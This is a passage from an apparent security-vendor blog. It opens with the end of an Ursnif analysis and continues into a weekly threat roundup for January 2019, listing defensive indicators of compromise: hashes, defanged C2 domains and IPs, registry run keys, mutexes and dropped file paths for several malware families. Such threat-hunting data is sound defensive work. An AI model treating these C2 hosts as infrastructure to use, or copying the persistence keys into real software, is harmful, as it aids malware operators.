    Conclusion



    Ursnif is a fan of "fileless" persistence which makes it difficult for traditional anti-virus techniques to filter out the C2 traffic from normal traffic. Additionally, Ursnif uses CAB files to compress its data prior to exfiltration, which makes this malware even more challenging to stop. To help with the detection of this malware, we are providing readers with a list of IOCs below that can help you stop Ursnif before it infects your network. Talos continues to monitor these threats as they evolve to ensure that defenses protect our customers.

    INDICATORS OF COMPROMISE (IOCS)



    Here are some recent IOCs from our tracking of Ursnif.

    Malicious documents:



    db7f0dab70e1da8ef7a6a6d938531f2a6773c0c5f925f19874fd3e764aa45833
    e58827967cba544cc1db3d751095878115f4247982fb514bbd7b98bced8de6c0
    3846fe442df0175461081dd63299144a233debbd2453deeeb405126042ef72d1
    982cf7af71d0fe54cbdfac74fd2985c48a011e6ffffe65012ee4496bb669b321
    cbc10db9d7609e548e550e79f45940125895374b9a97e133020d5585bfd183ed
    2dbd942ac2f0b92d497fa6595f638cbddc24eab8beffb7cc648a91d65b45fa09
    38c459e56997e759ca680f88aae4428d9c76e9fae323b4d2238adf203036007c
    153c191ef4afd3eba9df89150ac728757efcba1293716c23f019e35270a388c4
    95f5f2ecdce872f5b96739f548e4b73bb8b7a2c11c46cfddf3e20fd04abfc091
    1cf5de71d51d2769079a8cb64e05f80e72e88846987602ad7302478c0d574caa
    c9f42b866fc203b4cd9d09cfcb0f8fca41097548393c15adb0557652526d818a
    ba332017cbf16842170788f5688e3b8a79c821ef1331e428d77af238c379be4f
    b278b0e63acbbb92396da41bffb99b9ef09dff1b1b838f69e29245c6731269f7
    b6837f46124a360ffff235824cc1decda2b97d6daf73e80f3615bce7781a86aa
    12e3140656d7df63a1c444b0ebdae75039a18799e2ebd03a80eeb26ce5dbb66c
    d3383c7ee9704b51b302d7e611214a78050fcc7ad0969682355894af58f63cdf
    3eff10af3f2afbcf59d5cf77f470abe3cfafbe48255e7f6ea56a22608e332824
    ad87dcc617e9914e28f76d071b586ac2cca9454078f3141c17e0102c9e2eebaa
    65f81148184a7ec71a43e9cd50e1267ab3fc64f3ef5f41f9da8bd74000baad30
    f7cc1b8f93831f7170e5317b5b79aaa9ceb2bc6724f21bc4e2c6cccb71655624
    d08e92af78cbf7049e8a9ca7b6ab61e8dc42729848e73b980b7cf5ac74d505af
    1b0b9cfaa78fac0875d10d087b8354d52bffb1f576eec7d49acab9d3394ccd9a
    d48f2cb5cc595f5cea29b7fd2bd8463fdfaf980c48792294ebb4c798516a7eae
    5a739f018675094baf0b61ff8462b1c946410f4776be877719cb20f9a9c16dfd
    d53ace589ad1a39487f36dd3e516ac2a5af0aec521f28c5b78b3a47636cfb068
    0778ef085fdebd39856ebfa4bf1203dcb7ee59fa4fc82a71a2ef3a949143c543
    4ffe626708fa6a2d76366a962359658e0d919544260aa2179727964c34e12080
    4dedf0b96b253b8fc15b007e4f61eb85d0345ef19f5a1fc6ea0772614375f606
    f3c7d7c0e71d15dc03614964c887a2459bd0ae4a97a324018a97dff27608e4b2
    8b73b12aad16a58d07048a307a7a558755d0f5ca369dbee8b808a9d9c941a25d
    a2ae329bf70c24e4380d6133a4c02127e09597111e4edfd7808aa471450d2332
    001f52a0fa8d4abe34bfff6c96b423435c0ad3e06d40ece228fe2db3bc0d1067
    b4b56db2ce95d52b018edee05f996a1b5ae11a289979e984157a0efb7bbbc9b9
    617f1260e18929704c0ef45dae5eee7b9690b7a95f66e76ac00cf9dd2fca465b
    c283c26a991fd3599e8fd91bf059c2dbb07d3d630caf699531c48737faedc325
    447f249e60df0324f74a40a4b35f432b2e19f801ce2d4d6efa126a6841836b11
    d7aeacb2b12cef81315a64670a27575d84ac1af4541000d0093fdb3676afc515
    d200cbc2b28811bf4762d664a4b3f9f58f6b20af03981910dc2317751f91027d
    b409ee2691e7b2d2598cd01ac28a0914d4778da8d8b7a62d2f78492b14790917
    e95af1012346ab3edbb365f3463bd060bfa7f194b7c68c8e680dfbde43c57eb7
    015e2b8de525789f551abb4af169ad914f218fb07df2496c6f23d51d6a711688

    C2 Server Domains:


    levocumbut[.]com
    rapworeepa[.]com
    wegatamata[.]com
    roevinguef[.]com
    pivactubmi[.]com
    biesbetiop[.]com
    navectrece[.]com
    yancommato[.]com
    dewirasute[.]com
    ptyptossen[.]com
    mochigokat[.]com
    tubpariang[.]com
    zardinglog[.]com
    abregeousn[.]com
    aplatmesse[.]com
    abeelepach[.]com
    teomengura[.]com
    allooalel[.]club
    nublatoste[.]com
    ledibermen[.]com
    lootototic[.]com
    acnessempo[.]com
    usteouraph[.]com
    izzlebutas[.]com
    sfernacrif[.]com
    isatawatag[.]com
    duenexacch[.]com
    kyllborena[.]com
    bawknogeni[.]com
    kicensinfa[.]com
    uvuladitur[.]com

    Files Dropped:



    Note, that filenames are hardcoded in the first PowerShell command executed, and vary by sample. This means that these indicators aren't necessarily malicious on their own as filenames might collide with benign ones. If found with other indicators, its likely a Ursnif infection.

    %AppData%/137d1dc1.exe
    %AppData%/1688e8b.exe
    %AppData%/1bdf65af.exe
    %AppData%/1cf8f7bb.exe
    %AppData%/2662438a.exe
    %AppData%/284ca7b3.exe
    %AppData%/31d073c1.exe
    %AppData%/3209f93c.exe
    %AppData%/3d4480c4.exe
    %AppData%/3fabbd27.exe
    %AppData%/40dc969c.exe
    %AppData%/4d46c42f.exe
    %AppData%/530ddba6.exe
    %AppData%/56ef205c.exe
    %AppData%/58b00f30.exe
    %AppData%/58f9603c.exe
    %AppData%/60404124.exe
    %AppData%/62574d8.exe
    %AppData%/6420f61f.exe
    %AppData%/6aad9e36.exe
    %AppData%/6ed4c1be.exe
    %AppData%/71bdcc14.exe
    %AppData%/75e1d341.exe
    %AppData%/7bc0a512.exe
    %AppData%/7df15b.exe
    %AppData%/8428791f.exe
    %AppData%/8c1d4ca.exe
    %AppData%/8d04e64a.exe
    %AppData%/97729da0.exe
    %AppData%/97979225.exe
    %AppData%/9835041d.exe
    %AppData%/9eb826ef.exe
    %AppData%/a54ab0bc.exe
    %AppData%/a9f1df84.exe
    %AppData%/aa5cc687.exe
    %AppData%/af74ae98.exe
    %AppData%/b034a4.exe
    %AppData%/bb5144e8.exe
    %AppData%/c1a17119.exe
    %AppData%/cbd42398.exe
    %AppData%/cf63b795.exe
    %AppData%/d5e1b91a.exe
    %AppData%/da0170a9.exe
    %AppData%/def4b6bf.exe
    %AppData%/e199be3d.exe
    %AppData%/e5920466.exe
    %AppData%/e7972c72.exe
    %AppData%/f005cb48.exe
    %AppData%/f0107edb.exe
    %AppData%/f2134754.exe
    %AppData%/fa408793.exe

    ↧

    Threat Roundup for Jan. 18 to Jan. 25

    January 25, 2019, 11:52 am
    $
    0
    0

    Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Jan. 18 and Jan. 25. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

    As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

    For each threat described below, this blog post only lists 25 of the associated file hashes.  An accompanying JSON file can be found here that includes the complete list of file hashes, as well as all other IOCs from this post. As always, please remember that all IOCs contained in this document are indicators, and one single IOC does not indicate maliciousness.

    The most prevalent threats highlighted in this roundup are:

    • Doc.Downloader.Emotet-6826494-0
      Downloader
      Emotet is a banking trojan that has remained relevant due to its continual evolution to bypass antivirus products.
       
    • Win.Worm.Vobfus-6825980-0
      Worm
      Vobfus is a worm that copies itself to external drives and attempts to gain automatic code execution via autorun.inf files. It also modifies the registry so that it will launch when the system is booted. Once installed, it attempts to download follow-on malware from its command and control (C2) servers.
       
    • Win.Packed.Razy-6824365-0
      Packed
      Razy is oftentimes a generic detection name for a Windows trojan. Although more recent cases have found it attributed to ransomware that uses the .razy file extension when writing encrypted files to disk, these samples are the former case. They collect sensitive information from the infected host, format and encrypt the data, and send it to a C2 server.
       
    • Win.Ransomware.Genkryptik-6824111-0
      Ransomware
      Win.Malware.Genkryptik is oftentimes a generic detection name for a Windows trojan. Some of the malicious activities that could be performed by these samples, without the user's knowledge, include collecting system information, downloading/uploading files and dropping additional samples.
       
    • Win.Malware.Ponystealer-6823878-0
      Malware
      Ponystealer is known to be able to steal credentials from more than 100 different applications and may also install other malware such as a remote access tool (RAT).
       
    • Doc.Malware.Valyria-6821700-0
      Malware
      These variants of Valyria are malicious Microsoft Office files that contain embedded VBA macros used to distribute other malware.
       
    • Win.Malware.Zusy-6822787-0
      Malware
      Zusy is a trojan that uses man-in-the-middle attacks to steal banking information. When executed, it injects itself into legitimate Windows processes such as "explorer.exe" and "winver.exe". When the user accesses a banking website, it displays a form to trick the user into submitting personal information.
       
    • Win.Malware.Ursu-6822222-0
      Malware
      Ursu is a generic malware that has numerous functions. It contacts a C2 server and performs code injection in the address space of legitimate processes. It is able to achieve persistence and collect confidential data. It is spread via email.
       

    Threats

    Doc.Downloader.Emotet-6826494-0


    Indicators of Compromise


    Registry Keys
    • N/A
    Mutexes
    • Local\10MU_ACB10_S-1-5-5-0-57527
    • Local\10MU_ACBPIDS_S-1-5-5-0-57527
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 52[.]31[.]99[.]185
    • 47[.]52[.]19[.]221
    • 91[.]209[.]78[.]110
    • 46[.]30[.]213[.]132
    Domain Names contacted by malware. Does not indicate maliciousness
    • www[.]seine-et-marne[.]fr
    • TLEXTREME[.]COM
    • vanherreweghen[.]be
    • www[.]tzen2[.]com
    • www[.]addthis[.]com
    • www[.]iledefrance[.]fr
    • www[.]stif[.]info
    • www[.]camenisch-software[.]ch
    • tlextreme[.]com
    • sh2017[.]chancemkt[.]com
    Files and or directories created
    • %LocalAppData%\Temp\736.exe
    • %LocalAppData%\Temp\j02khkb2.lmy.ps1
    • %LocalAppData%\Temp\q30h0dfn.q03.psm1
    • %LocalAppData%\Temp\CVR8B7E.tmp
    File Hashes
    • 02961b9b1846411364a0c00b6546aeaceec7e7156a89662ae81a2223c9a612ca
    • 0acd52e7f92f125d8fec5d78db296ee3c88079456dfb66b84fa92be944dc1293
    • 11d52b1ee5c330911ed98ba86a4560c67cba2bd70427c8d33a0b793ddeb5c11e
    • 16ef10e1f741ca1cb22b657dda69b7d15e6c016a667602fb8fe825b5846eb4b5
    • 175b20d5f2079f86b1fe4ef91d5a84ce3fb71939b3c8297e4de6587875dca6d5
    • 18c74f2852985acd6a5b35d21d12e8e852d54003b4e5d3714243e045969c434f
    • 1a4dc5022a6b5296fe5d03597782a985bd721e3651b010c06b9be205b5c9f97d
    • 1c7813fcdec02ae9bf9bb816d87f66eca49cffa1df2de22aac19d2b365e59df2
    • 1f5e9f1c173cc8611a5d34e801c0a26ce7365cb1c7b660bcd88816153b76d467
    • 2210bb4262bd6f02c2c1b836ea7372c28b35f7e31d81dcf4749fbd4fe71676fb
    • 22b521f4fad5c39e0d84729f3e194782f2a802c03f6e24ef013e7e33d299703f
    • 2311a0274a3edf0a79d422ba126d2a1e23e98b13c40762e2aac7b40686a308c2
    • 26fba2bd9792cbe6aa14f3baa9a2ffb57344d7348805648a53dcf92644a8b973
    • 3cebbd85235c819ec92210572035f2973b54740f306b8b0607e03c84eb7b0914
    • 3ebc758a0186db99545ab2614b2a96544ab4509bf7d24c8d11dca06b2d17adbd
    • 42df2ceda548dbd95ed4cf8176dfb8817e7350ea9b296adb33a3e6c3f2fb272e
    • 4dfb9830a14e1e92ca88b40189fb05be60a42be886c9ca1cd2f6a3f5f09e0208
    • 51cd6bdb18da6dc94549e067b04e727b9e947f2f189f5c27da67eb56f77c5f54
    • 547ee4142a9088eba58961d0bfdae6a32f501affcff9dce7e3f424f47b8fd4a1
    • 5d3e5a9b7730bd40f0cd4392367744bb7a3ddefd3b316d603e56369a7813ee68
    • 680d56d915ec028d4d0e33cd63e90f58c1f67c4e8b92d11eabf2576702d5b3bd
    • 687d3887779bf147f8ab6637c28f76559f3a1cbe0899cfa07d0ac33733fc74ef
    • 6c9f60643913ae688fc163d8e09a71268c0bd527ca5e9330c163108aafac5944
    • 729777e3d2a3bc3e6846bdf89f4480052c3e5877a8dbd3d93c7a7d9f38d90311
    • 7575b3de182b5ad8b92eabad4f5307e27280729f81ab692d20633dac2f786d8c

    Coverage


    Screenshots of Detection

    AMP




    ThreatGrid



    Umbrella




    Malware


    Win.Worm.Vobfus-6825980-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: internat.exe
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED
      • Value Name: ShowSuperHidden
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: raaitay
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • N/A
    Domain Names contacted by malware. Does not indicate maliciousness
    • ns1[.]boxonline2[.]net
    • ns1[.]boxonline3[.]com
    • ns1[.]boxonline1[.]com
    • ns1[.]boxonline3[.]org
    • ns1[.]boxonline2[.]com
    • ns1[.]boxonline3[.]net
    • ns1[.]boxonline1[.]net
    • ns1[.]boxonline1[.]org
    • ns1[.]boxonline2[.]org
    Files and or directories created
    • \??\E:\autorun.inf
    • \autorun.inf
    • \??\E:\System Volume Information.exe
    • \??\E:\$RECYCLE.BIN.exe
    • \Secret.exe
    • \??\E:\Passwords.exe
    • \??\E:\Porn.exe
    • \??\E:\Secret.exe
    • \??\E:\Sexy.exe
    • \??\E:\x.mpeg
    • \Passwords.exe
    • \Porn.exe
    • \Sexy.exe
    • %UserProfile%\Secret.exe
    • %UserProfile%\Sexy.exe
    • %UserProfile%\c\Passwords.exe
    • %UserProfile%\c\Porn.exe
    • %UserProfile%\c\Secret.exe
    • %UserProfile%\c\autorun.inf
    • %UserProfile%\Passwords.exe
    • %UserProfile%\Porn.exe
    • %UserProfile%\Secret.exe
    • %UserProfile%\Sexy.exe
    • %UserProfile%\c\Sexy.exe
    • %UserProfile%\raaitay.exe
    • %UserProfile%\RCX6E9B.tmp
    • %UserProfile%\c\RCX7DE8.tmp
    • %UserProfile%\c\RCX7E08.tmp
    • %UserProfile%\c\RCX7E38.tmp
    • %UserProfile%\c\RCX7E68.tmp
    • %UserProfile%\c\RCX7E97.tmp
    • %UserProfile%\c\RCX7ED7.tmp
    • \??\E:\raaitay.exe
    • %UserProfile%\RCX6D8D.tmp
    • %UserProfile%\RCX6DDC.tmp
    • %UserProfile%\RCX6E0C.tmp
    • %UserProfile%\RCX6E3C.tmp
    • %UserProfile%\RCX6E6B.tmp
    • \raaitay.exe
    File Hashes
    • 0037d65faac14ac7334d7945e27569d7cc3d5dc523721e6663250a12cae30970
    • 004cc9d4425a0e10fff6239ae475488707ebaf7f2a6e4a3dee7b34ce5695c321
    • 0067963d2aceffee9ef4f6e721810751dca83d21d0712abfa833a25e22ba4dbb
    • 0095c53a8472b4a6c607cb35a3c6a1a6b6b9bdb73411982877cd36bb337fe622
    • 012f637a2ecc4fcd7bb899d15bd3154da2e57990b06a2220a70275e4d71f6f1b
    • 014a73b4e83e353606d90832f8ed0531621a9f1b18ff8886f6ae4f0ac7fea1f9
    • 0168589ab988762e304160c1185d9f0cfda9fbae862d49b287151e2867434698
    • 0174a979de62c49713dc26bf492bfb8e938663b6678718b31b93a1ccf74a7c0a
    • 01833d63634a87bc656d3cb19e81a595c1ff2f9b576881d938d94276a3b19421
    • 01bb231426f9f04f1fcc15816758ae71cbbfaa4402ae208f2d97393f5e169eaa
    • 01f729500c940572e0fffc33813e6b390a11702f0023fa23e2a699f090843ca8
    • 01fabdf325a2cc93b441ad0f6fd5045d60f4948d1a675efab4ae6b6dd3d09e84
    • 033634d5e256d0c401521f689f02298c03161d93a73d6ee7516728e312346e59
    • 0405dd8730790632cc9af7a163bcf2edfe53dca323e2bbe51eebb1176e3d88c8
    • 040f4aa4129dbbc8fc35fa755d54819cd879cc1df72717c7326b3dfd2419fe68
    • 047a78afc2d81bf8c214cd3ec65c993f8a20d530e317e75364a6a8406b527259
    • 04cdd36585f184a6f00628a41e06df4e6d48e14405bdb1cfeefd32d6abece39d
    • 06180c973c1907270017c6c4d49f75fdedce5e0b303324b001db54321776bfc6
    • 06237a002970ae7de3bf9f30e3d7555366cb10f3e56a2df9a8cd19ed682f138a
    • 06318d4771dde1557bb1ef47bce6326768e83a5124051e296ca2463f9693bd50
    • 07ba24b2c6e0d1480180221ddb1854cfd5ccfef50487e13f71134669d0027e0e
    • 0885ba5f2be768f907c88b520c412d76734e90cd2104f36cbc14bf59c28875a3
    • 08876ed5bb3db929653ebd493da0bcd89d876d3ed96f0f8d897daa31719cf150
    • 0939e8b87435767e67f2b6850a54d6abe3b037639e8c076465a167f1f4673306
    • 0a9b4d6c0f1b0f87cf7e953c06d4684607e688252cd6d8b9bda28ea4bf8c871f

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid


    Win.Packed.Razy-6824365-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\Software\Microsoft\GOCFK
    • <HKCU>\SOFTWARE\MICROSOFT\GOCFK
      • Value Name: mbijg
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 66[.]220[.]23[.]114
    • 64[.]71[.]188[.]178
    • 184[.]105[.]76[.]250
    Domain Names contacted by malware. Does not indicate maliciousness
    • kwowwauubfk[.]com
    • bqwzunofd[.]pw
    Files and or directories created
    • %AllUsersProfile%\ph
    • %AllUsersProfile%\ph\fktiipx.ftf
    • %LocalAppData%\Temp\gocf.ksv
    • %AllUsersProfile%\b95c
    • %AllUsersProfile%\gvpax
    • %LocalAppData%\1596
    • %AppData%\f2s9398
    • %AllUsersProfile%\0n48x8
    • %LocalAppData%\o1me3
    • %AppData%\d991m59
    • %AllUsersProfile%\3qy3
    • %LocalAppData%\7a92
    • %AppData%\98u3
    • %LocalAppData%\31m53w
    • %AppData%\4o5w356
    File Hashes
    • 00958b0eb7138a5cc3901f47ce902f6216b076fa341f9f7cda1bcfc62191b42b
    • 0ddb4e64337d7a3b5e7980bc3d8b2e3d1a8870bac611de6b7fd4ea04e4b13834
    • 16981b12217330adebe7b6d4ff08649f5ca2559b18331a0d0a6b79bc6f65cdcc
    • 1b2c133834c1edf5a9696671bc555209abcdf17936c851942892015622f21c50
    • 1da3d125ce62a7317cb80f4d48764995c8f7a84a15aa3a37abef6e03b4d8d071
    • 30bc3bf1588a0ffa91ca8e494a5e7e40cc35c80eeb3a77c23d9fb98a251a7e98
    • 3a1b58d54b6580a3d81fc5fc9cddd6f7eccfcab8f9f41fff81e45200d9d9294a
    • 449c7ac8be0256b2ca573101eeb65cb0a5be0af883974f68574625f2f6bff7f8
    • 44d438154cee044e36cb2a539261b3549d9cd16bfbf4d512073bba36a21d92d8
    • 5033ca548036bc7fc8a988dafab88c0e7694701b12202522207d5cf3d194a31c
    • 5c36d36a367eb555fcf3373121ec0ba2884ef92741471a65643cbd29f2877b9c
    • 65a753ef5c366e3c79c989948d25504822ae31754d2af381c2c2039a2f5d52cc
    • 78058316dd668f0052f9c8753cfb2c85c31a86bf9cf17fb9989de7efa6f34f3e
    • 7ca95a22275a3f76ab51720871d3fff23b57a640c628e940230efb05cd0a32f8
    • 7de1ddc87cc6956e6e20231d708073b011f5d03f79acd7dbc40052a3f05d60ea
    • 856dd8f3138a9dc5858bcb80efa1abe8634b995b7f597eb6235002f13371c176
    • 88528338d3eb4452c37548280f1c36d7e13eaf63cac1c320ea72f1f99403fa57
    • 891088ed7a0e386a1c84b332b0aadce6f4709958aa07614c7cc83797518a95f7
    • 9e5a684a10fb0f567bed0cbb71488bc9bb79d7fc15500a0da48c34caee6a804f
    • 9ef872a783502bb47d5a461d231e26e301cc9f6e4625e7bd0ef7a01620f89b47
    • a8cd581c54ecf14da45460fa8fd8e5f5e43133b78135df9e2e8ae5c36af635a3
    • af7b095f795a599e83c94d41432b2755d7289159075147aae6931cc622dac30a
    • bd354725cb308fe831075414d4e9f2a2dcddbd16c900484f9aa9e1bcf2bfc6cc
    • c03a12f494da082c5c108fd80c1e1a2a1bd8be7cc8dcf3fae02f8bb39bb11944
    • c088e5a96993d5361c5c0b138dd17d658de50a4c1007b4d6e5a971df8a8c39bb

    Coverage


    Screenshots of Detection

    AMP




    ThreatGrid



    Umbrella



    Win.Ransomware.Genkryptik-6824111-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: internat.exe
    • <HKCU>\Software\Remcos-69PU1K\
    • <HKCU>\SOFTWARE\REMCOS-69PU1K
      • Value Name: exepath
    • <HKCU>\SOFTWARE\REMCOS-69PU1K
      • Value Name: licence
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: SKIVESKYDNINGENunenterpris
    Mutexes
    • Remcos_Mutex_Inj
    • Remcos-69PU1K
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 84[.]38[.]135[.]91
    Domain Names contacted by malware. Does not indicate maliciousness
    • top[.]pubgplayzonejoco[.]waw[.]pl
    Files and or directories created
    • %AppData%\remcos
    • %AppData%\remcos\logs.dat
    • %AppData%\Imgburn\imgburn.exe
    • %LocalAppData%\Temp\WEALTH2019.exe
    • %AppData%\Imgburn
    • %LocalAppData%\Temp\Mirijana9nyhedsgruppeskitte.exe
    • %LocalAppData%\Temp\~DFE751F75B3A32A556.TMP
    • %LocalAppData%\Temp\~DFDEB24D10F9017BE2.TMP
    • %LocalAppData%\Temp\~DFE5FA503DE0D2D852.TMP
    • %LocalAppData%\Temp\~DFEE43B3EEDEE2644E.TMP
    • %LocalAppData%\Temp\~DFD949DB000F4368B2.TMP
    • %LocalAppData%\Temp\~DFCD42A77CD5F06772.TMP
    File Hashes
    • 049f02b69493dcfa1c2740519a965f5b3cdad94319480787f608df39646d4a45
    • 08703057fe22c4df53c83e1406c772d24148a570efb9b636307420c56a506fea
    • 0f52ae41d65fb4790aa778431fa32cc037cc4d31f734b6a540bd37668deb4df5
    • 1102ae383bafc64ff90b952f8f96797801396ad00b12e62ece8c5bf667bd7917
    • 136c0293daba6aecf870d253aa9393c085b8ff1dd6d47d71ae7aebd296c715b3
    • 149022bc418cf2110bc02bd03d65bc5c8e62c811b94361afe48a95c5a2649e64
    • 300c7f5229eccb18cef38365f7567ffa0d5a2226b2a338083f069e4349ee83d9
    • 311da3fa5daee4b28327edd53ab5aa57f061708b2dfa8fb755fd08854e2798a6
    • 4d652ede13a7424582090164c5d453a08610848aa6c2b34a2cd9641f2f9e4761
    • 5147bffb5e30bf2e6b0c38af954aa7de64ff15964b32df334a2881b3d34a88c9
    • 546c3e1bb5b13f369f8aa7333d7209d736c90edb7db2f41410ce42ceb264bf30
    • 561c6fadb78eb3c1ab18596a61a348af4e052b0a33754b1587f7e8f07ebb864d
    • 5724e9dbdc024c683ea3bfc2726c951fbbaf8faf46f4c61d7f1b5d24e0df0c19
    • 5bdb3e691c8f07c16392e5077601bb445110cc6e0aea0d5547b4469d82e06f42
    • 5d5d0f07cc4358b44291c6ee3455a3bc19ccea06fa66364bacd3ad051a368758
    • 5dc30dc295fd5a286c6ab6ba287d4b04373c16e1de75182a6ea221394dae1137
    • 6178f9c685e131ec20d7981f461e9947201b8ed5edd7ff64514d4b0daac78a7b
    • 6447cb09817b37ddb3b107e97060e9becac9ccfca8662cd3a193eec06ba1c35e
    • 6d5ff7b6af5fcab6b9a12a5213426b1d2fe93c06a039d25676bb00f2b3ea1231
    • 74625b4620d8233adf151b7c7797384e12e22df6fb67006482bcc8437c070838
    • 7733201b8330bffd8a41dee35a3ef2005e8424df477a5fd08fb52651093e7700
    • 77b8aa573a3967891d4cd3e93ec76a1004ec8294f0c479ae8043e821d06dc78a
    • 7ee37ca283d2cb7ef6fa8a8e507de85875b5796d5c006ea599d55c11f5e6a7ec
    • 86b98581605b1b0c5286f307bfd79338c74fc5bc73ac11e1abb0cb37f97d98d5
    • 8bf4d086da3f18e4c537e107ebc802056d0b0dc4813eee8c884671c9a68d587b

    Coverage


    Screenshots of Detection

    AMP




    ThreatGrid



    Win.Malware.Ponystealer-6823878-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
      • Value Name: Adobe
    • <HKCU>\Software\Remcos-L409SR\
    • <HKCU>\SOFTWARE\REMCOS-L409SR
      • Value Name: exepath
    • <HKCU>\SOFTWARE\REMCOS-L409SR
      • Value Name: lic
    Mutexes
    • Remcos_Mutex_Inj
    • Remcos-L409SR
    IP Addresses contacted by malware. Does not indicate maliciousness
    • N/A
    Domain Names contacted by malware. Does not indicate maliciousness
    • 1010[.]http01[.]com
    Files and or directories created
    • %AppData%\remcos
    • %AppData%\remcos\logs.dat
    • %LocalAppData%\Temp\subfolder
    • %LocalAppData%\Temp\subfolder\adobepdf.scr
    • %LocalAppData%\Temp\subfolder\adobepdf.vbs
    File Hashes
    • 057500aaa50232337866b4470e930a698d96c97d446f2737bb9e69807e13fcd0
    • 26df92ebf43f0dda98bd34d5f72841717bbe9c524bded8d3d77bede19baedfc2
    • 2a5608a0d642fd23f0b49c6436886e937d4ba4a40e048bcd57338e74d7815a81
    • 2aee79633fda123830fe7061900dc9deb2af0c45d1ad97bebea2e853e0f6ce17
    • 424217fcced5f9a8a35c9de9a66e0c06b761cd2e46db6a042f325835104fcc47
    • 439e2e22cb2ff1879dd19c1efe2c2d8e2897d6cef866ce6fb9a33c84165253fe
    • 539c084c60d1d5e901aea6240f113a021c7cd7e447ac9cf35953d05666f3cc22
    • 634dc330090c9f2b5d7b1c670102d5c1cd3389cb676ff04cdbe87df50bfcfba7
    • 736b02c049a77d35435fb18fab0067544c4d6cc0cb2e0bfb9bf5152f65a8db93
    • 8269d87f90e2d401e0ac70d2f9e32aef62db5a70f7a0165646f44534edc9c265
    • 93411f9ee4535cba7e1c0e288a3188d9d1679d5b2b0bdd4e3b862d49e53510e4
    • a1436dfb3efb320afadb5355b305794a330284c5515283dceaaf70dc09450c73
    • c1e8d791958e9943798a6f28fa6a9563519d0d5a49d37f834af14b4074f2efec
    • c920ed42aae02a1536408fd3513dc1694fed093091a5655529149c989c7d6744
    • c95d501830e87c470c7d731a7be78fae90b38d4eb8aa8365d981d8397407fbac
    • d59d2b4a4b6473f7a82109b6768d3ce62fde8ec8f6da786986a2545da0245e49
    • ec8abd35fd1e3c8f29f4187d9ddcb7c6c3c35a838c688d8a08553d46ca091cd1

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Doc.Malware.Valyria-6821700-0


    Indicators of Compromise


    Registry Keys
    • N/A
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 191[.]6[.]194[.]81
    • 177[.]185[.]194[.]161
    • 157[.]7[.]188[.]229
    • 45[.]60[.]22[.]20
    • 54[.]164[.]54[.]199
    Domain Names contacted by malware. Does not indicate maliciousness
    • cm2[.]com[.]br
    • heteml[.]jp
    • secure[.]heteml[.]jp
    • snowdoll[.]net
    • www[.]plano-b[.]com[.]br
    • ecojusticepress[.]com
    • craftww[.]pl
    • lavoroproducoes[.]com[.]br
    Files and or directories created
    • %LocalAppData%\Temp\619.exe
    • %LocalAppData%\Temp\rucrrluq.3nn.psm1
    • %LocalAppData%\Temp\wjyt5a53.3uh.ps1
    • %LocalAppData%\Temp\CVRD0AC.tmp
    File Hashes
    • 006527ed4540d3e8b684bdc110cb1f738ca696e8706b748892930994de3dedef
    • 11f7710f8cabe988168078cd6ba83c2544d1d06c9a8a3583fabe164e87f7048b
    • 23f1b03ee66fb8dd1a515afd7adeb8f85b260ef5e20a7d80ad1697865f59f794
    • 243a87a44e767e8d5b788c29bb0dbec9986956b40c407074f670bcc9b206d730
    • 2b201210a7ea524a3d65c7d2ee2e7d322479657076a1c30f8ec6994eb97f269b
    • 3f7f15af2c3736d94f62e8d58bad269d29198eaffc40ccdbfd166878daeef652
    • 400d6b89b8026f39de9c80b89aae66e49afebf153c8b5b9d480307ada0f4c428
    • 5bdac880fac6d0b90751b1f2f7dd97b50ddf2759926a414b940dff6fb8117833
    • 5fefc488c0bb534fe5de5eb5244524ab5138474609c6363f959845a35b2fa94e
    • 73d4c1dafc168a36218d215548bdcc87b0ecb667acaf685b044b680f4f678dca
    • 775b96aa12728bfc5f6f68bf11d8ff34e252107d8f63440a471495e8ecd9f1f7
    • 79f220cc40a6d9d27adc27374ebf0263792e86b64061a709357233b88bb847e0
    • 7ca6572429e9aeeedaeb810c5752f1ee4f300435eedb55efc6128a3c5cb40028
    • 7d1452ab28a32b82e29a27b02f3881ed4eb7e33e47c65791753b6f9f6b0da364
    • 7d50253b1168a61a502890fdd13e7245b5f7aa8465da25e3bed00a8fa0a3b4fd
    • 8f0dae9f191c55289ab80783e68c0e03e97f391cd86ae283304555f20d8f2d31
    • a09a6e4a65a174787ec889f5e9d9024cdce88d46577d022a012ee4f86fb472cb
    • a77b90d16bbdd99569309b37cdae642159e8761ae9f8fb0853b193c0d3db7565
    • a8e856a69c9eb0074a418c67d575b91b49caea488574529a40e3b129cefde689
    • b438c81b2ada4914b77fb936ca70aa4fa1cb4cb6867c2171e9d21989a4419350
    • bd48756252ebf449627761f36c813dde9d57c0cdb82210e864afe4530353a362
    • c0c3c539411f9d602316f053a8c68bc78461be9c7b305107c2da072ebe1384a6
    • c77196231630b535ef5f0d46f78b7be22a27954daf395065b8f448829bcbbdff
